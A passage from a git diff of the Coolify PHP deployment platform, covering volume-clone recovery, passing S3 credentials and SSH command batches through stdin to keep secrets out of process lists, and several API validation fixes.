self::STOP_FAILED; + } + $runningAfter ??= self::runningContainersOrNull($source); + if (blank($runningAfter)) { + return self::STOP_FAILED; + } + + return $runningBefore === null || array_diff($runningBefore, $runningAfter) !== [] + ? self::APPLICATION_PARTLY_STOPPED + : self::STOP_FAILED; + } + + /** + * @return list|null + */ + private static function runningContainersOrNull(Application $application): ?array + { + try { + return self::runningContainers($application); + } catch (Throwable) { + return null; + } + } + + /** + * The names of the running containers of the source on its main server. A swarm stack is + * removed asynchronously, so it is not checked. + * + * @return list + */ + private static function runningContainers( + Application|Service|StandaloneClickhouse|StandaloneDragonfly|StandaloneKeydb|StandaloneMariadb|StandaloneMongodb|StandaloneMysql|StandalonePostgresql|StandaloneRedis|StandaloneSqlite $source, + ): array { + $server = $source->destination->server; + if ($server->isSwarm()) { + return []; + } + [$type, $filters] = match (true) { + $source instanceof Application => ['application', ['label=coolify.pullRequestId=0']], + $source instanceof Service => ['service', []], + default => ['database', []], + }; + $output = instant_remote_process(dockerPsByOwnerCommands($type, $source->uuid, $filters, '{{.Names}}', all: false), $server); + + return collect(explode("\n", (string) $output))->map(fn (string $name) => trim($name))->filter()->unique()->values()->all(); + } + + public static function startSource( + Application|Service|StandaloneClickhouse|StandaloneDragonfly|StandaloneKeydb|StandaloneMariadb|StandaloneMongodb|StandaloneMysql|StandalonePostgresql|StandaloneRedis|StandaloneSqlite $source, + ): void { + match (true) { + $source instanceof Application => queue_application_deployment( + application: $source, + deployment_uuid: new_public_id(), + server: $source->destination->server, + destination: $source->destination, + no_questions_asked: true, + ), + $source instanceof Service => StartService::run($source), + default => StartDatabase::run($source), + }; + } + + public static function recoverSource( + Application|Service|StandaloneClickhouse|StandaloneDragonfly|StandaloneKeydb|StandaloneMariadb|StandaloneMongodb|StandaloneMysql|StandalonePostgresql|StandaloneRedis|StandaloneSqlite $source, + bool $wasRunning, + Throwable $e, + ): void { + if (in_array($e->getCode(), [self::STOP_FAILED, self::APPLICATION_PARTLY_STOPPED], true)) { + self::recoverFromFailedStop($source, $e); + + return; + } + + $message = "Copying the volume data of '{$source->name}' to its clone failed. The clone may have no or partial data."; + + if ($wasRunning) { + try { + self::startSource($source); + $message .= " Coolify started '{$source->name}' again."; + } catch (Throwable $startError) { + Log::error("Failed to start {$source->name} again after a failed volume clone: ".$startError->getMessage()); + $message .= " Coolify could not start '{$source->name}' again. Start it manually."; + } + } + + $source->team()?->notify(new GeneralNotification( + $message.' Error: '.remove_iip($e->getMessage()), + success: false, + )); + } + + /** + * No data was copied. A source that the stop took down fully (or whose state is unknown) is + * started again. When containers of a service still run, only its stopped containers are + * started again; an application or a database that still runs is left alone. + */ + private static function recoverFromFailedStop( + Application|Service|StandaloneClickhouse|StandaloneDragonfly|StandaloneKeydb|StandaloneMariadb|StandaloneMongodb|StandaloneMysql|StandalonePostgresql|StandaloneRedis|StandaloneSqlite $source, + Throwable $e, + ): void { + $message = "Coolify did not copy the volume data of '{$source->name}' to its clone, because stopping '{$source->name}' failed. The clone has no copied data."; + + try { + $stillRunning = self::runningContainers($source) !== []; + } catch (Throwable) { + $stillRunning = false; + } + + if ($stillRunning && $source instanceof Service) { + try { + self::startStoppedServiceContainers($source); + $message .= " Some containers of '{$source->name}' were still running, so Coolify started its stopped containers again."; + } catch (Throwable $startError) { + Log::error("Failed to start the stopped containers of {$source->name} after a failed stop for a volume clone: ".$startError->getMessage()); + $message .= " Some containers of '{$source->name}' are still running. Coolify could not start its stopped containers again. Start '{$source->name}' manually."; + } + } elseif ($stillRunning && $source instanceof Application && $e->getCode() === self::APPLICATION_PARTLY_STOPPED) { + $message .= ' '.self::redeployPartlyStoppedApplication($source); + } elseif ($stillRunning) { + $message .= " '{$source->name}' is still running."; + } else { + try { + self::startSource($source); + $message .= " Coolify started '{$source->name}' again."; + } catch (Throwable $startError) { + Log::error("Failed to start {$source->name} again after a failed stop for a volume clone: ".$startError->getMessage()); + $message .= " Coolify could not start '{$source->name}' again. Start it manually."; + } + } + + $source->team()?->notify(new GeneralNotification( + $message.' Error: '.remove_iip($e->getMessage()), + success: false, + )); + } + + /** + * Queues a normal deployment (a rolling update when the application supports it) of the commit + * of the last successful deployment, so the running containers are replaced only by the same + * version. Without such a commit, the configured commit is deployed. + * + * @return string The sentence for the notification. + */ + private static function redeployPartlyStoppedApplication(Application $application): string + { + $commit = $application->deployment_queue() + ->where('status', ApplicationDeploymentStatus::FINISHED->value) + ->where('pull_request_id', 0) + ->whereNotNull('commit') + ->where('commit', '!=', 'HEAD') + ->orderByDesc('updated_at') + ->orderByDesc('id') + ->value('commit'); + + try { + $result = queue_application_deployment( + application: $application, + deployment_uuid: new_public_id(), + commit: $commit, + no_questions_asked: true, + ); + if (($result['status'] ?? null) !== 'queued') { + throw new RuntimeException($result['message'] ?? 'The deployment was not queued.'); + } + } catch (Throwable $deployError) { + Log::error("Failed to queue a redeploy of {$application->name} after a failed stop for a volume clone: ".$deployError->getMessage()); + + return "Some containers of '{$application->name}' stopped and others are still running. Coolify could not queue a redeploy of '{$application->name}' to bring back its stopped containers. Redeploy it manually."; + } + + $sentence = "Some containers of '{$application->name}' stopped and others were still running, so Coolify started a redeploy of '{$application->name}' to bring back its stopped containers"; + + return $commit === null + ? $sentence.'. Coolify could not find the commit that ran before, so the redeploy uses the configured commit or image tag.' + : $sentence." with the commit that ran before ({$commit})."; + } + + /** + * Creates and starts the containers that the stop removed, with the compose file of the last + * start. Running containers are not recreated, so `up --force-recreate` (StartService) is not + * used. `docker compose start` is not enough: StopService also removes the stopped containers. + */ + private static function startStoppedServiceContainers(Service $service): void + { + $server = $service->destination->server; + $workdir = $service->workdir(); + $compose = serverDockerConfigPrefix($server)."docker compose --project-directory {$workdir} -f {$workdir}/docker-compose.yml --project-name {$service->uuid}"; + + if (! data_get($service, 'connect_to_docker_network')) { + instant_remote_process(["{$compose} up -d --no-recreate < /dev/null"], $server); + + return; + } + + // Like StartService: connect new containers to the predefined network before they start. + $commands = ["{$compose} up -d --no-recreate --no-start < /dev/null"]; + $composeServices = data_get(parseDockerComposeYaml(data_get($service, 'docker_compose', '')), 'services', []); + foreach ($composeServices as $serviceName => $serviceConfig) { + if ($command = StartService::predefinedNetworkConnectCommand($service, $serviceName, $serviceConfig)) { + $commands[] = $command; + } + } + $commands[] = "{$compose} start < /dev/null"; + instant_remote_process($commands, $server); + } +} diff --git a/app/Helpers/SshMultiplexingHelper.php b/app/Helpers/SshMultiplexingHelper.php index 86034b8cbd..38e832187f 100644 --- a/app/Helpers/SshMultiplexingHelper.php +++ b/app/Helpers/SshMultiplexingHelper.php @@ -253,6 +253,25 @@ class SshMultiplexingHelper .$delimiter; } + /** + * Build an SSH command that runs the command batch given to the process as input (see sshBatchInput()). + * The batch is not part of any command line on the Coolify host, where `ps` would show its secrets + * (database passwords, registry passwords, tokens), and it is not limited to 128 KiB. + * Like the quoted heredoc of generateSshCommand(), the batch gets no local shell expansion. + */ + public static function generateSshBatchCommand(Server $server, bool $disableMultiplexing = false, ?int $commandTimeout = null): string + { + return self::generateSshStdinCommand($server, self::remoteShellCommand(), $disableMultiplexing, $commandTimeout); + } + + /** + * The process input for generateSshBatchCommand(). A heredoc ends its content with a newline, so does this. + */ + public static function sshBatchInput(string $command): string + { + return $command.PHP_EOL; + } + /** * Build an SSH command that runs one short remote command and leaves stdin free for data. * Large content must go through stdin: Linux limits one exec argument to 128 KiB, and diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php index 1768cbc21a..cadd543f39 100644 --- a/app/Http/Controllers/Api/ApplicationsController.php +++ b/app/Http/Controllers/Api/ApplicationsController.php @@ -4115,7 +4115,9 @@ class ApplicationsController extends Controller ], 404); } - $env->value = $request->value; + if ($request->has('value')) { + $env->value = $request->value; + } $env->fill($request->only(['is_literal', 'is_multiline', 'is_shown_once', 'is_runtime', 'is_buildtime', 'comment'])); $env->save(); @@ -4271,7 +4273,9 @@ class ApplicationsController extends Controller if ($is_preview) { $env = $application->environment_variables_preview()->where('key', $key)->first(); if ($env) { - $env->value = $item->get('value'); + if ($item->has('value')) { + $env->value = $item->get('value'); + } $env->fill($item->only(['is_literal', 'is_multiline', 'is_shown_once', 'is_runtime', 'is_buildtime', 'comment'])->all()); $env->save(); } else { @@ -4292,7 +4296,9 @@ class ApplicationsController extends Controller } else { $env = $application->environment_variables()->where('key', $key)->first(); if ($env) { - $env->value = $item->get('value'); + if ($item->has('value')) { + $env->value = $item->get('value'); + } $env->fill($item->only(['is_literal', 'is_multiline', 'is_shown_once', 'is_runtime', 'is_buildtime', 'comment'])->all()); $env->save(); } else { @@ -5222,7 +5228,7 @@ class ApplicationsController extends Controller #[OA\Patch( summary: 'Update Storage', - description: 'Update a persistent storage or file storage by application UUID.', + description: 'Update a persistent storage or file storage by application UUID. Changed file content is saved right away and written to the server in the background, so a failed write does not change the response.', path: '/applications/{uuid}/storages', operationId: 'update-storage-by-application-uuid', security: [ diff --git a/app/Http/Controllers/Api/DatabasesController.php b/app/Http/Controllers/Api/DatabasesController.php index 97e83430d2..b8cf88e94f 100644 --- a/app/Http/Controllers/Api/DatabasesController.php +++ b/app/Http/Controllers/Api/DatabasesController.php @@ -7,6 +7,7 @@ use App\Actions\Database\StartDatabase; use App\Actions\Database\StartDatabaseProxy; use App\Actions\Database\StopDatabase; use App\Actions\Database\StopDatabaseProxy; +use App\Actions\Shared\CloneVolumeDataWithSourceStopped; use App\Enums\NewDatabaseTypes; use App\Http\Controllers\Controller; use App\Jobs\DatabaseBackupJob; @@ -36,7 +37,6 @@ use Illuminate\Http\JsonResponse; use Illuminate\Http\Request; use Illuminate\Support\Arr; use Illuminate\Support\Collection; -use Illuminate\Support\Facades\Bus; use Illuminate\Support\Facades\DB; use OpenApi\Attributes as OA; @@ -4022,7 +4022,9 @@ class DatabasesController extends Controller return response()->json(['message' => 'Environment variable not found.'], 404); } - $env->value = $request->value; + if ($request->has('value')) { + $env->value = $request->value; + } if ($request->has('is_literal')) { $env->is_literal = $request->is_literal; } @@ -4758,7 +4760,7 @@ class DatabasesController extends Controller #[OA\Patch( summary: 'Update Storage', - description: 'Update a persistent storage or file storage by database UUID.', + description: 'Update a persistent storage or file storage by database UUID. Changed file content is saved right away and written to the server in the background, so a failed write does not change the response.', path: '/databases/{uuid}/storages', operationId: 'update-storage-by-database-uuid', security: [ @@ -5352,33 +5354,11 @@ class DatabasesController extends Controller } } - // Stop once, clone all volumes, then start once — avoids per-volume stop/start races. - if ($pendingVolumeClones !== [] && $sourceServer && $targetServer) { - try { - $chain = [ - function () use ($database) { - StopDatabase::run($database); - }, - ]; - - foreach ($pendingVolumeClones as $clone) { - $chain[] = new VolumeCloneJob( - $clone['source'], - $clone['target'], - $sourceServer, - $targetServer, - $clone['model'], - ); - } - - $chain[] = function () use ($database) { - StartDatabase::run($database); - }; - - Bus::chain($chain)->onQueue('high')->dispatch(); - } catch (\Exception $e) { - \Log::error('Failed to queue database volume clone for '.$database->uuid.': '.$e->getMessage()); - } + if ($sourceServer && $targetServer) { + CloneVolumeDataWithSourceStopped::run($database, array_map( + fn (array $clone) => new VolumeCloneJob($clone['source'], $clone['target'], $sourceServer, $targetServer, $clone['model']), + $pendingVolumeClones, + )); } foreach ($database->fileStorages()->get() as $storage) { diff --git a/app/Http/Controllers/Api/ServersController.php b/app/Http/Controllers/Api/ServersController.php index febd83a9ac..899a1ea2f9 100644 --- a/app/Http/Controllers/Api/ServersController.php +++ b/app/Http/Controllers/Api/ServersController.php @@ -776,8 +776,8 @@ class ServersController extends Controller 'connection_timeout' => 'integer|min:1|max:300', 'is_terminal_enabled' => 'boolean|nullable', 'wildcard_domain' => 'nullable|url', - 'server_timezone' => ['string', function (string $attribute, mixed $value, \Closure $fail): void { - if (! validate_timezone($value)) { + 'server_timezone' => ['bail', 'filled', 'string', function (string $attribute, mixed $value, \Closure $fail): void { + if (! is_string($value) || ! validate_timezone($value)) { $fail('The server_timezone must be a valid timezone.'); } }], diff --git a/app/Http/Controllers/Api/ServicesController.php b/app/Http/Controllers/Api/ServicesController.php index f692d923c7..0bb16d67ad 100644 --- a/app/Http/Controllers/Api/ServicesController.php +++ b/app/Http/Controllers/Api/ServicesController.php @@ -1573,7 +1573,9 @@ class ServicesController extends Controller return response()->json(['message' => 'Environment variable not found.'], 404); } - $env->value = $request->value; + if ($request->has('value')) { + $env->value = $request->value; + } if ($request->has('is_literal')) { $env->is_literal = $request->is_literal; } @@ -2760,7 +2762,7 @@ class ServicesController extends Controller #[OA\Patch( summary: 'Update Storage', - description: 'Update a persistent storage or file storage by service UUID.', + description: 'Update a persistent storage or file storage by service UUID. Changed file content is saved right away and written to the server in the background, so a failed write does not change the response.', path: '/services/{uuid}/storages', operationId: 'update-storage-by-service-uuid', security: [ diff --git a/app/Http/Middleware/RequireTeamTwoFactor.php b/app/Http/Middleware/RequireTeamTwoFactor.php index bb5421458e..0670d7e5c6 100644 --- a/app/Http/Middleware/RequireTeamTwoFactor.php +++ b/app/Http/Middleware/RequireTeamTwoFactor.php @@ -17,7 +17,9 @@ class RequireTeamTwoFactor public function handle(Request $request, Closure $next): Response { $user = $request->user(); - if (! $user || filled($user->two_factor_confirmed_at)) { + // Users who must set a password first (magic link invitees) stay on the password page + // (CheckForcePasswordReset); they need a known password to confirm the 2FA setup. + if (! $user || filled($user->two_factor_confirmed_at) || $user->force_password_reset) { return $next($request); } diff --git a/app/Jobs/DatabaseBackupJob.php b/app/Jobs/DatabaseBackupJob.php index 26337ebe70..a05d713165 100644 --- a/app/Jobs/DatabaseBackupJob.php +++ b/app/Jobs/DatabaseBackupJob.php @@ -3,6 +3,8 @@ namespace App\Jobs; use App\Events\BackupCreated; +use App\Helpers\SshMultiplexingHelper; +use App\Helpers\SshRetryHandler; use App\Models\S3Storage; use App\Models\ScheduledDatabaseBackup; use App\Models\ScheduledDatabaseBackupExecution; @@ -921,8 +923,6 @@ class DatabaseBackupJob implements ShouldBeEncrypted, ShouldQueue protected function upload_to_s3(S3Storage $s3): void { try { - $key = $s3->key; - $secret = $s3->secret; $bucket = $s3->bucket; $endpoint = $s3->endpoint; $s3->testConnection(shouldSave: true); @@ -940,10 +940,6 @@ class DatabaseBackupJob implements ShouldBeEncrypted, ShouldQueue $mount = escapeshellarg($this->backupMountSource().':'.$this->backup_location.':ro'); $commands[] = "docker run -d --network {$safeNetwork} --name backup-of-{$this->backup_log_uuid} --rm {$s3->minioClientRegionOption()} -v {$mount} {$fullImageName}"; - // Escape S3 credentials to prevent command injection - $escapedEndpoint = escapeshellarg($endpoint); - $escapedKey = escapeshellarg($key); - $escapedSecret = escapeshellarg($secret); $escapedBackupLocation = escapeshellarg($this->backup_location); $escapedS3Destination = escapeshellarg("temporary/{$bucket}{$this->backup_dir}/"); $resolveOptions = collect(SafeWebhookUrl::minioClientResolveOptions($endpoint, $s3->trustedInternalHosts())) @@ -951,9 +947,12 @@ class DatabaseBackupJob implements ShouldBeEncrypted, ShouldQueue ->implode(' '); $resolveOptions = $resolveOptions === '' ? '' : ' '.$resolveOptions; - $commands[] = "docker exec backup-of-{$this->backup_log_uuid} mc alias set{$resolveOptions} temporary {$escapedEndpoint} {$escapedKey} {$escapedSecret}"; - $commands[] = "docker exec backup-of-{$this->backup_log_uuid} mc cp{$resolveOptions} {$escapedBackupLocation} {$escapedS3Destination}"; instant_remote_process($commands, $this->server, true, false, $this->commandTimeout(), disableMultiplexing: true); + $this->setMinioClientAlias($this->server, "backup-of-{$this->backup_log_uuid}", $s3, $resolveOptions); + instant_remote_process( + ["docker exec backup-of-{$this->backup_log_uuid} mc cp{$resolveOptions} {$escapedBackupLocation} {$escapedS3Destination}"], + $this->server, true, false, $this->commandTimeout(), disableMultiplexing: true, + ); } catch (Throwable $e) { $this->add_to_error_output($e->getMessage()); @@ -964,6 +963,32 @@ class DatabaseBackupJob implements ShouldBeEncrypted, ShouldQueue } } + /** + * Sets the `temporary` mc alias in a helper container. The S3 keys go to mc through the stdin of the + * SSH process, so they are not in the arguments of any process on Coolify or on the server. + */ + private function setMinioClientAlias(Server $server, string $container, S3Storage $s3, string $resolveOptions): void + { + $remoteCommand = ($server->isNonRoot() ? 'sudo ' : '').'docker exec -i '.escapeshellarg($container) + .' mc alias set'.$resolveOptions.' temporary '.escapeshellarg($s3->endpoint).' >/dev/null'; + $timeout = (int) config('constants.ssh.command_timeout'); + + SshRetryHandler::retry( + function () use ($server, $remoteCommand, $s3, $timeout) { + $sshCommand = SshMultiplexingHelper::generateSshStdinCommand($server, $remoteCommand, disableMultiplexing: true, commandTimeout: $timeout); + $process = runSshProcess($sshCommand, $timeout, $s3->key."\n".$s3->secret."\n"); + + if ($process->exitCode() !== 0) { + excludeCertainErrors($process->errorOutput(), $process->exitCode()); + } + }, + [ + 'server' => $server->ip, + 'function' => 'setMinioClientAlias', + ], + ); + } + private function getFullImageName(): string { $helperImage = coolifyHelperImage(); diff --git a/app/Jobs/DockerCleanupJob.php b/app/Jobs/DockerCleanupJob.php index 9daee0c82c..af1778eacf 100644 --- a/app/Jobs/DockerCleanupJob.php +++ b/app/Jobs/DockerCleanupJob.php @@ -110,28 +110,19 @@ class DockerCleanupJob implements ShouldBeEncrypted, ShouldQueue return; } - $activeDeployment = $this->manualCleanup ? null : CleanupDocker::activeDeployment($this->server); - if ($activeDeployment) { - $this->execution_log->update([ - 'status' => 'success', - 'message' => 'Docker cleanup skipped: deployment '.$activeDeployment->deployment_uuid.' is queued or running on this server. The next scheduled cleanup runs as usual.', - ]); - event(new DockerCleanupDone($this->execution_log)); - - return; - } - $this->usageBefore = $this->server->getDiskUsage(); if ($this->manualCleanup || $this->server->settings->force_docker_cleanup) { $cleanup_log = CleanupDocker::run( server: $this->server, deleteUnusedVolumes: $this->deleteUnusedVolumes, - deleteUnusedNetworks: $this->deleteUnusedNetworks + deleteUnusedNetworks: $this->deleteUnusedNetworks, + pruneBuildCacheDuringDeployment: $this->manualCleanup ); $usageAfter = $this->server->getDiskUsage(); $message = ($this->manualCleanup ? 'Manual' : 'Forced').' Docker cleanup job executed successfully. Disk usage before: '.$this->usageBefore.'%, Disk usage after: '.$usageAfter.'%.'; + $message = $this->withBuildCacheKeptReason($message, $cleanup_log); $this->execution_log->update([ 'status' => 'success', 'message' => $message, @@ -148,10 +139,12 @@ class DockerCleanupJob implements ShouldBeEncrypted, ShouldQueue $cleanup_log = CleanupDocker::run( server: $this->server, deleteUnusedVolumes: $this->deleteUnusedVolumes, - deleteUnusedNetworks: $this->deleteUnusedNetworks + deleteUnusedNetworks: $this->deleteUnusedNetworks, + pruneBuildCacheDuringDeployment: $this->manualCleanup ); $message = 'Docker cleanup job executed successfully, but no disk usage could be determined.'; + $message = $this->withBuildCacheKeptReason($message, $cleanup_log); $this->execution_log->update([ 'status' => 'success', 'message' => $message, @@ -168,7 +161,8 @@ class DockerCleanupJob implements ShouldBeEncrypted, ShouldQueue $cleanup_log = CleanupDocker::run( server: $this->server, deleteUnusedVolumes: $this->deleteUnusedVolumes, - deleteUnusedNetworks: $this->deleteUnusedNetworks + deleteUnusedNetworks: $this->deleteUnusedNetworks, + pruneBuildCacheDuringDeployment: $this->manualCleanup ); $usageAfter = $this->server->getDiskUsage(); $diskSaved = $this->usageBefore - $usageAfter; @@ -179,6 +173,7 @@ class DockerCleanupJob implements ShouldBeEncrypted, ShouldQueue $message = 'Docker cleanup job executed successfully, but no disk space was saved. Disk usage before: '.$this->usageBefore.'%, Disk usage after: '.$usageAfter.'%.'; } + $message = $this->withBuildCacheKeptReason($message, $cleanup_log); $this->execution_log->update([ 'status' => 'success', 'message' => $message, @@ -227,6 +222,13 @@ class DockerCleanupJob implements ShouldBeEncrypted, ShouldQueue } } + private function withBuildCacheKeptReason(string $message, array $cleanupLog): string + { + $reason = CleanupDocker::buildCacheKeptReason($cleanupLog); + + return $reason ? $message.' '.$reason : $message; + } + /** * failed() runs on a fresh job copy built from the queue payload (for example after a worker timeout), * so the execution this run created is kept under the queue job uuid instead of on the job. diff --git a/app/Jobs/ServerConnectionCheckJob.php b/app/Jobs/ServerConnectionCheckJob.php index 841e915b78..a641dfdc11 100644 --- a/app/Jobs/ServerConnectionCheckJob.php +++ b/app/Jobs/ServerConnectionCheckJob.php @@ -7,6 +7,7 @@ use App\Helpers\SshMultiplexingHelper; use App\Models\Server; use App\Services\ServerTransfer\ServerTransferClaimer; use Illuminate\Bus\Queueable; +use Illuminate\Contracts\Process\ProcessResult; use Illuminate\Contracts\Queue\ShouldBeEncrypted; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; @@ -225,8 +226,7 @@ class ServerConnectionCheckJob implements ShouldBeEncrypted, ShouldQueue private function attemptConnection(): bool { try { - $process = Process::timeout(self::SSH_TIMEOUT_SECONDS) - ->run($this->sshCommand(self::probeCommand(), disableMultiplexing: true)); + $process = $this->runSsh(self::probeCommand(), self::SSH_TIMEOUT_SECONDS, disableMultiplexing: true); if ($process->exitCode() !== 0) { $this->connectionError = 'ssh exit '.$process->exitCode().': '.Str::limit(trim($process->errorOutput()), 300); } else { @@ -308,7 +308,7 @@ class ServerConnectionCheckJob implements ShouldBeEncrypted, ShouldQueue private function runDockerCommand(string $command): ?string { try { - $process = Process::timeout(self::DOCKER_TIMEOUT_SECONDS)->run($this->sshCommand($command, disableMultiplexing: $this->disableMux)); + $process = $this->runSsh($command, self::DOCKER_TIMEOUT_SECONDS, disableMultiplexing: $this->disableMux); } catch (\Throwable $e) { Log::debug('ServerConnectionCheck: Docker command failed', [ 'server_id' => $this->server->id, @@ -322,13 +322,15 @@ class ServerConnectionCheckJob implements ShouldBeEncrypted, ShouldQueue return $process->successful() ? sanitize_utf8_text(trim($process->output())) : null; } - private function sshCommand(string $command, bool $disableMultiplexing = false): string + private function runSsh(string $command, int $timeout, bool $disableMultiplexing = false): ProcessResult { $commands = [$command]; if ($this->server->isNonRoot()) { $commands = parseCommandsByLineForSudo(collect($commands), $this->server); } - return SshMultiplexingHelper::generateSshCommand($this->server, implode("\n", $commands), $disableMultiplexing); + return Process::timeout($timeout) + ->input(SshMultiplexingHelper::sshBatchInput(implode("\n", $commands))) + ->run(SshMultiplexingHelper::generateSshBatchCommand($this->server, $disableMultiplexing)); } } diff --git a/app/Jobs/VolumeBackupJob.php b/app/Jobs/VolumeBackupJob.php index d3079fe096..344cefdccc 100644 --- a/app/Jobs/VolumeBackupJob.php +++ b/app/Jobs/VolumeBackupJob.php @@ -3,6 +3,8 @@ namespace App\Jobs; use App\Events\BackupCreated; +use App\Helpers\SshMultiplexingHelper; +use App\Helpers\SshRetryHandler; use App\Models\LocalPersistentVolume; use App\Models\S3Storage; use App\Models\ScheduledVolumeBackup; @@ -102,7 +104,7 @@ class VolumeBackupJob implements ShouldBeEncrypted, ShouldQueue $archiveScript = self::archiveScript($compressionCpuPercentage); if ($streamToS3) { $this->execution->update(['local_storage_deleted' => true]); - $archiveCommand = $this->streamToS3Command($destinations->first(), $archiveScript, $backupLocation, $source, $containerName, $image); + $archiveCommand = $this->streamToS3Command($destinations->first(), $archiveScript, $backupLocation, $containerName); $this->execution->update(['s3_cleanup_pending' => true]); } else { $archiveCommand = 'docker run --rm --name '.escapeshellarg($containerName) @@ -124,11 +126,20 @@ class VolumeBackupJob implements ShouldBeEncrypted, ShouldQueue } } - $archiveOutput = instant_remote_process(array_filter([ - $verifySourceCommand, - $streamToS3 ? null : 'mkdir -p '.escapeshellarg($backupDirectory), - $archiveCommand, - ]), $server, timeout: $this->timeout, disableMultiplexing: true); + try { + if ($streamToS3) { + $this->startStreamHelper($destinations->first(), $verifySourceCommand, $source, $containerName, $image, $server); + } + $archiveOutput = instant_remote_process(array_filter([ + $verifySourceCommand, + $streamToS3 ? null : 'mkdir -p '.escapeshellarg($backupDirectory), + $archiveCommand, + ]), $server, timeout: $this->timeout, disableMultiplexing: true); + } finally { + if ($streamToS3) { + instant_remote_process(['docker rm -f '.escapeshellarg($containerName).' >/dev/null 2>&1 || true'], $server, throwError: false, disableMultiplexing: true); + } + } $this->execution->update([ 'stop_container_ids' => null, 'stop_recovery_pending' => false, @@ -429,18 +440,16 @@ class VolumeBackupJob implements ShouldBeEncrypted, ShouldQueue $s3->testConnection(shouldSave: true); $containerName = 'volume-upload-'.$this->execution->uuid; $image = coolifyHelperImage().':'.getHelperVersion(); - $resolveOptions = collect(SafeWebhookUrl::minioClientResolveOptions($s3->endpoint, $s3->trustedInternalHosts())) - ->map(fn (string $option): string => '--resolve '.escapeshellarg($option)) - ->implode(' '); - $resolveOptions = $resolveOptions === '' ? '' : ' '.$resolveOptions; + $resolveOptions = $this->minioClientResolveOptions($s3); try { instant_remote_process([ 'docker rm -f '.escapeshellarg($containerName).' >/dev/null 2>&1 || true', 'docker run -d --name '.escapeshellarg($containerName).' --rm '.$s3->minioClientRegionOption().' -v ' .escapeshellarg($backupLocation.':'.$backupLocation.':ro').' '.escapeshellarg($image), - 'docker exec '.escapeshellarg($containerName).' mc alias set'.$resolveOptions.' temporary ' - .escapeshellarg($s3->endpoint).' '.escapeshellarg($s3->key).' '.escapeshellarg($s3->secret), + ], $server, timeout: $this->timeout, disableMultiplexing: true); + $this->setMinioClientAlias($server, $containerName, $s3, $resolveOptions); + instant_remote_process([ 'docker exec '.escapeshellarg($containerName).' mc cp'.$resolveOptions.' '.escapeshellarg($backupLocation).' ' .escapeshellarg('temporary/'.$s3->bucket.$backupDirectory.'/'), ], $server, timeout: $this->timeout, disableMultiplexing: true); @@ -454,32 +463,75 @@ class VolumeBackupJob implements ShouldBeEncrypted, ShouldQueue } } - private function streamToS3Command(S3Storage $s3, string $archiveScript, string $backupLocation, string $source, string $containerName, string $image): string + /** + * Starts the helper container that streams the volume to S3 and sets its mc alias. The archive then + * runs in it with `docker exec`, so the S3 keys are never part of a command line. + */ + private function startStreamHelper(S3Storage $s3, string $verifySourceCommand, string $source, string $containerName, string $image, Server $server): void + { + instant_remote_process([ + $verifySourceCommand, + 'docker rm -f '.escapeshellarg($containerName).' >/dev/null 2>&1 || true', + 'docker run -d --rm --name '.escapeshellarg($containerName) + .' '.$s3->minioClientRegionOption() + .' -v '.escapeshellarg($source.':/volume:ro') + .' '.escapeshellarg($image).' >/dev/null', + ], $server, timeout: $this->timeout, disableMultiplexing: true); + $this->setMinioClientAlias($server, $containerName, $s3, $this->minioClientResolveOptions($s3)); + } + + /** + * Sets the `temporary` mc alias in a helper container. The S3 keys go to mc through the stdin of the + * SSH process, so they are not in the arguments of any process on Coolify or on the server. + */ + private function setMinioClientAlias(Server $server, string $container, S3Storage $s3, string $resolveOptions): void + { + $remoteCommand = ($server->isNonRoot() ? 'sudo ' : '').'docker exec -i '.escapeshellarg($container) + .' mc alias set'.$resolveOptions.' temporary '.escapeshellarg($s3->endpoint).' >/dev/null'; + $timeout = (int) config('constants.ssh.command_timeout'); + + SshRetryHandler::retry( + function () use ($server, $remoteCommand, $s3, $timeout) { + $sshCommand = SshMultiplexingHelper::generateSshStdinCommand($server, $remoteCommand, disableMultiplexing: true, commandTimeout: $timeout); + $process = runSshProcess($sshCommand, $timeout, $s3->key."\n".$s3->secret."\n"); + + if ($process->exitCode() !== 0) { + excludeCertainErrors($process->errorOutput(), $process->exitCode()); + } + }, + [ + 'server' => $server->ip, + 'function' => 'setMinioClientAlias', + ], + ); + } + + private function minioClientResolveOptions(S3Storage $s3): string { - $s3->testConnection(shouldSave: true); $resolveOptions = collect(SafeWebhookUrl::minioClientResolveOptions($s3->endpoint, $s3->trustedInternalHosts())) ->map(fn (string $option): string => '--resolve '.escapeshellarg($option)) ->implode(' '); - $resolveOptions = $resolveOptions === '' ? '' : ' '.$resolveOptions; + + return $resolveOptions === '' ? '' : ' '.$resolveOptions; + } + + private function streamToS3Command(S3Storage $s3, string $archiveScript, string $backupLocation, string $containerName): string + { + $s3->testConnection(shouldSave: true); + $resolveOptions = $this->minioClientResolveOptions($s3); $destination = 'temporary/'.$s3->bucket.$backupLocation; // `mc pipe --quiet` panics in recent mc releases, so keep its progress bar out of the error output instead. // Each progress frame starts with "\r", so printing the last field per line keeps only the final frame and real errors. $mcPipeLog = '/tmp/mc-pipe.log'; // Object Lock buckets need Content-MD5 on each upload. `mc cp` adds it when the bucket lock is enabled, `mc pipe` only with `--checksum=MD5`. - $streamScript = 'set -o pipefail; mc alias set'.$resolveOptions.' temporary ' - .escapeshellarg($s3->endpoint).' '.escapeshellarg($s3->key).' '.escapeshellarg($s3->secret) - .' >/dev/null && lock=$(mc retention info --default --json'.$resolveOptions.' '.escapeshellarg('temporary/'.$s3->bucket).' 2>/dev/null || true)' + $streamScript = 'set -o pipefail; lock=$(mc retention info --default --json'.$resolveOptions.' '.escapeshellarg('temporary/'.$s3->bucket).' 2>/dev/null || true)' .' && case "$lock" in *\'"enabled":"Enabled"\'*) checksum=--checksum=MD5 ;; *) checksum= ;; esac' .' && ('.$archiveScript.' | mc pipe'.$resolveOptions.' $checksum '.escapeshellarg($destination).' >/dev/null 2>'.$mcPipeLog .' || { status=$?; awk -F '.escapeshellarg('\r').' '.escapeshellarg('{ print $NF }').' '.$mcPipeLog.' >&2; exit $status; })' .' && mc stat --json'.$resolveOptions.' '.escapeshellarg($destination) .' | sed -n '.escapeshellarg('s/.*"size":\([0-9][0-9]*\).*/\1/p'); - return 'docker run --rm --name '.escapeshellarg($containerName) - .' '.$s3->minioClientRegionOption() - .' -v '.escapeshellarg($source.':/volume:ro') - .' '.escapeshellarg($image) - .' sh -c '.escapeshellarg($streamScript); + return 'docker exec '.escapeshellarg($containerName).' sh -c '.escapeshellarg($streamScript); } private function logCompressorInDevelopment(string $image, Server $server, int $compressionCpuPercentage): void diff --git 